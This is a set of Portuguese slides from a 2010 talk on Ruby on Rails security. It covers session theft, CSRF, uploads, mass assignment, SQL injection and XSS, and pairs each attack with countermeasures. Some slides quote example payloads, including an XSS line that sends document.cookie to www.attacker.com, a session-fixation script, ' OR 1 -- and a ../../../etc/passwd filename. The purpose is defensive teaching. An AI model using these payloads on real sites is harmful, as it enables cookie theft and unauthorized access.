  • 11. ra ut ss o az iro od dr du la ov el an te zo dr ha d n on ca ev an rri za ac fra jm ed ev ga gil m @ @ @ @ @ @ @ @p @r @j @p @m @a at ob ack ita sp i ne ric ert so n gor aze lize kes oe rov asg pa sp i ina g ra ke nh a quinta-feira, 28 de janeiro de 2010
  • 12. Sessões quinta-feira, 28 de janeiro de 2010
  • 13. Sessões • HTTP é um protocolo stateless • Sessão é identificada por um cookie (contendo uma identificação e um hash) • Enviado do servidor para o cliente, e do cliente para o servidor quinta-feira, 28 de janeiro de 2010
  • 14. quinta-feira, 28 de janeiro de 2010
  • 15. Roubo de Sessão quinta-feira, 28 de janeiro de 2010
  • 16. Roubo de Sessão • Roubo de um arquivo de cookie por um “atacante” • Permite que o atacante aja em nome da vítima quinta-feira, 28 de janeiro de 2010
  • 17. Como uma sessão pode ser roubada? Roubo Como combater? quinta-feira, 28 de janeiro de 2010
  • 18. Como uma sessão pode ser roubada? Roubo Como combater? Sniffers em uma rede quinta-feira, 28 de janeiro de 2010
  • 19. Como uma sessão pode ser roubada? Roubo Como combater? Sniffers em uma rede SSL (https) quinta-feira, 28 de janeiro de 2010
  • 20. Como uma sessão pode ser roubada? Roubo Como combater? Sniffers em uma rede SSL (https) Utilizar computadores “públicos” quinta-feira, 28 de janeiro de 2010
  • 21. Como uma sessão pode ser roubada? Roubo Como combater? Sniffers em uma rede SSL (https) Utilizar computadores Botão “logout”, “públicos” expirar sessão quinta-feira, 28 de janeiro de 2010
  • 22. Como uma sessão pode ser roubada? Roubo Como combater? Sniffers em uma rede SSL (https) Utilizar computadores Botão “logout”, “públicos” expirar sessão Session Fixation quinta-feira, 28 de janeiro de 2010
  • 23. Como uma sessão pode ser roubada? Roubo Como combater? Sniffers em uma rede SSL (https) Utilizar computadores Botão “logout”, “públicos” expirar sessão Session Fixation (mais adiante) quinta-feira, 28 de janeiro de 2010
  • 24. Como uma sessão pode ser roubada? Roubo Como combater? Sniffers em uma rede SSL (https) Utilizar computadores Botão “logout”, “públicos” expirar sessão Session Fixation (mais adiante) XSS quinta-feira, 28 de janeiro de 2010
  • 25. Como uma sessão pode ser roubada? Roubo Como combater? Sniffers em uma rede SSL (https) Utilizar computadores Botão “logout”, “públicos” expirar sessão Session Fixation (mais adiante) XSS (mais adiante) quinta-feira, 28 de janeiro de 2010
  • 26. Dica: Nunca armazene objetos grandes em uma sessão. quinta-feira, 28 de janeiro de 2010
  • 27. Dica: Nunca armazene informações críticas em uma sessão. quinta-feira, 28 de janeiro de 2010
  • 28. Como uma sessão é armazenada? quinta-feira, 28 de janeiro de 2010
  • 29. Como uma sessão é armazenada? • ActiveRecordStore: armazena no banco de dados (tabela “sessions”) • CookieStore: armazena em um cookie do usuário quinta-feira, 28 de janeiro de 2010
  • 30. quinta-feira, 28 de janeiro de 2010
  • 31. Replay Attack no CookieStore quinta-feira, 28 de janeiro de 2010
  • 32. Replay Attack no CookieStore 1. Usuário ativa um cupom de presente na sua loja online, ficando com R$50 de crédito (armazenado na sessão) quinta-feira, 28 de janeiro de 2010
  • 33. Replay Attack no CookieStore 1. Usuário ativa um cupom de presente na sua loja online, ficando com R$50 de crédito (armazenado na sessão) 2. Usuário compra algo custando R$40 quinta-feira, 28 de janeiro de 2010
  • 34. Replay Attack no CookieStore 1. Usuário ativa um cupom de presente na sua loja online, ficando com R$50 de crédito (armazenado na sessão) 2. Usuário compra algo custando R$40 3. Sessão agora armazena que usuário tem R$10 quinta-feira, 28 de janeiro de 2010
  • 35. Replay Attack no CookieStore 1. Usuário ativa um cupom de presente na sua loja online, ficando com R$50 de crédito (armazenado na sessão) 2. Usuário compra algo custando R$40 3. Sessão agora armazena que usuário tem R$10 4. Usuário sobreescreve a sessão atual pela sessão inicial, ficando com R$50 novamente quinta-feira, 28 de janeiro de 2010
  • 36. Session Fixation quinta-feira, 28 de janeiro de 2010
  • 37. Session Fixation <script> document.cookie="_session_id=16d5b78abb 28e3d6206b60f22a03c8d9"; </script> quinta-feira, 28 de janeiro de 2010
  • 38. quinta-feira, 28 de janeiro de 2010 Session Fixation
  • 39. Como combater Session Fixation? Utilize reset_session ao realizar login e/ou armazenar algo do usuário (como IP ou navegador). quinta-feira, 28 de janeiro de 2010
  • 41. Expirando sessões • Expire-as de tempo em tempo (com base no updated_at e no created_at) • Um simples rake no crontab já resolve quinta-feira, 28 de janeiro de 2010
  • 42. CSRF quinta-feira, 28 de janeiro de 2010
  • 43. CSRF • Cross-Site Request Forgery • Trata-se de aproveitar da sessão de um usuário, forçando-o (muitas vezes sem saber) a realizar determinada ação quinta-feira, 28 de janeiro de 2010
  • 44. CSRF quinta-feira, 28 de janeiro de 2010
  • 45. Como combater CSRF? Utilize os métodos HTTP da maneira correta (GET e POST, obrigatoriamente; e PUT e DELETE se possível) quinta-feira, 28 de janeiro de 2010
  • 46. quinta-feira, 28 de janeiro de 2010
  • 47. quinta-feira, 28 de janeiro de 2010
  • 48. Como combater CSRF? • Utilize os métodos HTTP da maneira correta (GET e POST, obrigatoriamente; e PUT e DELETE se possível) • Utilize um token quinta-feira, 28 de janeiro de 2010
  • 49. Como combater CSRF? • Utilize os métodos HTTP da maneira correta (GET e POST, obrigatoriamente; e PUT e DELETE se possível) • Utilize um token quinta-feira, 28 de janeiro de 2010
  • 50. Injeção em Redirecionamentos quinta-feira, 28 de janeiro de 2010
  • 51. Injeção em Redirecionamentos http://www.example.com/site/legacy? param1=xy&param2=23& host=www.attacker.com quinta-feira, 28 de janeiro de 2010
  • 52. Como combater injeções em Redirecionamentos? Não aceite URLs (ou partes dela) como parâmetro. quinta-feira, 28 de janeiro de 2010
  • 53. Uploads de arquivos quinta-feira, 28 de janeiro de 2010
  • 54. Uploads de arquivos • Algumas (várias?) aplicações aceitam uploads, recebendo um arquivo e um nome de arquivo. • Se você armazena os arquivos em /var/ www/uploads, imagine se alguém fizer upload de um arquivo chamado ../../../etc/passwd ? quinta-feira, 28 de janeiro de 2010
  • 55. Como combater uploads maliciosos? Evite receber o nome do arquivo, ou crie um filtro com expressão regular. quinta-feira, 28 de janeiro de 2010
  • 56. DoS por uploads quinta-feira, 28 de janeiro de 2010
  • 57. DoS por uploads • Se seu site processa arquivos (como imagens, gerando miniaturas), nunca faça-o sincronamente. • Imagine alguém enviando milhares de arquivos ao mesmo tempo? quinta-feira, 28 de janeiro de 2010
  • 58. Como combater DoS por uploads? Processe arquivos assincronamente (em um daemon ou em um cron); se possível, até em uma máquina separada. quinta-feira, 28 de janeiro de 2010
  • 59. Upload de executáveis quinta-feira, 28 de janeiro de 2010
  • 60. Upload de executáveis • Você terá problemas se armazenar seus arquivos em algum local "autorizado" a executar executáveis (como .CGI no Apache Document Directory do seu Virtual Host) quinta-feira, 28 de janeiro de 2010
  • 61. Como combater DoS por uploads? Simplesmente tenha certeza que seu servidor web não está executando arquivos naquele diretório. quinta-feira, 28 de janeiro de 2010
  • 62. Downloads não autorizados quinta-feira, 28 de janeiro de 2010
  • 63. Downloads não autorizados • Evite que os usuários "escolham" o que querem baixar, como em: quinta-feira, 28 de janeiro de 2010
  • 64. Downloads não autorizados • Evite que os usuários "escolham" o que querem baixar, como em: quinta-feira, 28 de janeiro de 2010
  • 65. Como combater downloads não autorizados? quinta-feira, 28 de janeiro de 2010
  • 66. Como combater downloads não autorizados? Opcionalmente, armazene o nome do arquivo no banco de dados, identificando- o para o usuário através de um id. quinta-feira, 28 de janeiro de 2010
  • 67. Mass Assignment quinta-feira, 28 de janeiro de 2010
  • 68. Mass Assignment • Você sabia que o "script/generate scaffold" não gera o código mais completo e seguro do mundo? :) quinta-feira, 28 de janeiro de 2010
  • 69. Mass Assignment quinta-feira, 28 de janeiro de 2010
  • 70. Mass Assignment http://www.example.com/user/signup? user[user]=ow3ned&user[admin]=1 quinta-feira, 28 de janeiro de 2010
  • 71. Como combater aproveitamentos do mass assignment? quinta-feira, 28 de janeiro de 2010
  • 72. Como combater aproveitamentos do mass assignment? Modo paranóico: quinta-feira, 28 de janeiro de 2010
  • 73. Força bruta no login do usuário quinta-feira, 28 de janeiro de 2010
  • 74. Como combater ataque de força bruta? CAPTCH depois de determinadas tentativas falhas de login. Utilize uma mensagem de erro genérica, como “usuário OU senha inválido, tente novamente”. quinta-feira, 28 de janeiro de 2010
  • 75. Hijacks diversos quinta-feira, 28 de janeiro de 2010
  • 76. Hijacks diversos • Senhas: requira que o usuário digite a antiga senha para conseguir mudar. quinta-feira, 28 de janeiro de 2010
  • 77. Hijacks diversos • Senhas: requira que o usuário digite a antiga senha para conseguir mudar. • Email: requira que o usuário digite a antiga senha para conseguir mudar quinta-feira, 28 de janeiro de 2010
  • 78. Hijacks diversos • Senhas: requira que o usuário digite a antiga senha para conseguir mudar. • Email: requira que o usuário digite a antiga senha para conseguir mudar • Outros: lembra do “problema” do GMail? quinta-feira, 28 de janeiro de 2010
  • 79. CAPTCHA quinta-feira, 28 de janeiro de 2010
  • 80. CAPTCHA negativo quinta-feira, 28 de janeiro de 2010
  • 81. Informações sensíveis no Log quinta-feira, 28 de janeiro de 2010
  • 82. Como combater informações sensíveis no log? quinta-feira, 28 de janeiro de 2010
  • 86. Como combater aproveitamento de expressões regulares? Use A ao invés de ^ Use Z ao invés de $ quinta-feira, 28 de janeiro de 2010
  • 88. Escalação de privilégios http://www.example.com/projects/1 quinta-feira, 28 de janeiro de 2010
  • 90. Como combater aproveitamento de expressões regulares? quinta-feira, 28 de janeiro de 2010
  • 91. Whitelist > Blacklist quinta-feira, 28 de janeiro de 2010
  • 92. Whitelist rula! • before_filter :only => [...] ao invés de before_filter :except => [...] quinta-feira, 28 de janeiro de 2010
  • 93. Whitelist rula! • before_filter :only => [...] ao invés de before_filter :except => [...] • attr_accessible ao invés de attr_protected quinta-feira, 28 de janeiro de 2010
  • 94. Whitelist rula! • before_filter :only => [...] ao invés de before_filter :except => [...] • attr_accessible ao invés de attr_protected • Permita somente <strong> ao invés de remover <script> quinta-feira, 28 de janeiro de 2010
  • 95. Injeção SQL quinta-feira, 28 de janeiro de 2010
  • 96. Injeção SQL quinta-feira, 28 de janeiro de 2010
  • 97. Injeção SQL ' OR 1 -- quinta-feira, 28 de janeiro de 2010
  • 98. Injeção SQL ' OR 1 -- SELECT * FROM projects WHERE name = '' OR 1 --' quinta-feira, 28 de janeiro de 2010
  • 99. Como combater injeções SQL? quinta-feira, 28 de janeiro de 2010
  • 100. XSS quinta-feira, 28 de janeiro de 2010
  • 101. XSS • Cross Site Scripting • Atualmente é o tipo de ataque mais comum, segundo a Symantec Global Internet Security Threat Report. • Mais de 510.000 sites tiveram este tipo de ataque só em abril de 2008. • Diversas ferramentas para auxiliar estes ataques, como o MPack. quinta-feira, 28 de janeiro de 2010
  • 102. XSS: Injeção JavaScript quinta-feira, 28 de janeiro de 2010
  • 103. XSS: Injeção JavaScript <script>alert('Hello');</script> <table background="javascript:alert('Hello')"> quinta-feira, 28 de janeiro de 2010
  • 104. XSS: Roubo de Cookie quinta-feira, 28 de janeiro de 2010
  • 105. XSS: Roubo de Cookie <script>document.write(document.cookie);</script> <script>document.write('<img src="http:// www.attacker.com/' + document.cookie + '">');</script> quinta-feira, 28 de janeiro de 2010
  • 106. XSS: Defacement quinta-feira, 28 de janeiro de 2010
  • 107. XSS: Defacement <iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe> quinta-feira, 28 de janeiro de 2010
  • 108. Como combater estes ataques XSS? Limpe a “entrada” do usuário com o método sanatize. quinta-feira, 28 de janeiro de 2010
  • 109. Como combater estes ataques XSS? Limpe a “entrada” do usuário com o método sanatize. Limpe a “saída” (impressão) com escapeHTML (), também chamado de h(). quinta-feira, 28 de janeiro de 2010
  • 110. Como combater estes ataques XSS? Limpe a “entrada” do usuário com o método sanatize. Limpe a “saída” (impressão) com escapeHTML (), também chamado de h(). <%=h @user.name %> quinta-feira, 28 de janeiro de 2010
  • 111. XSS: Injeção CSS quinta-feira, 28 de janeiro de 2010
  • 112. XSS: Injeção CSS background:url('javascript:alert(1)') quinta-feira, 28 de janeiro de 2010
  • 113. Como combater estes ataque XSS de injeção CSS? Evite CSS personalizado. quinta-feira, 28 de janeiro de 2010
  • 114. Dicas sobre a interface administrativa quinta-feira, 28 de janeiro de 2010
  • 115. Dicas sobre a interface administrativa • Coloque-a em um subdomínio distinto, como admin.campusparty.com.br. Isso evita truques com Cookies. quinta-feira, 28 de janeiro de 2010
  • 116. Dicas sobre a interface administrativa • Coloque-a em um subdomínio distinto, como admin.campusparty.com.br. Isso evita truques com Cookies. • Se possível, limite o acesso administrativo a um número restritos de IP (ou a uma faixa). quinta-feira, 28 de janeiro de 2010
  • 117. Dicas sobre a interface administrativa • Coloque-a em um subdomínio distinto, como admin.campusparty.com.br. Isso evita truques com Cookies. • Se possível, limite o acesso administrativo a um número restritos de IP (ou a uma faixa). • Que tal uma senha especial para ações importantes, como deletar usuários? quinta-feira, 28 de janeiro de 2010
  • 121. Segurança & Ruby on Rails http://julio.monteiro.eti.br quinta-feira, 28 de janeiro de 2010